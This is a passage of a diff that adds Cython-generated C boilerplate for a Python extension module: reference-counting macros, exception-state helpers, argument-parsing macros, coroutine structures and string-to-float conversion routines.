__Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_AddObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceAdd(op1, op2) : PyNumber_Add(op1, op2)) +#endif + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* ObjectGetItem.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key); +#else +#define __Pyx_PyObject_GetItem(obj, key) PyObject_GetItem(obj, key) +#endif + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* ReturnWithStopIteration.proto */ +#define __Pyx_ReturnWithStopIteration(value)\ + if (value == Py_None) PyErr_SetNone(PyExc_StopIteration); else __Pyx__ReturnWithStopIteration(value) +static void __Pyx__ReturnWithStopIteration(PyObject* value); + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += 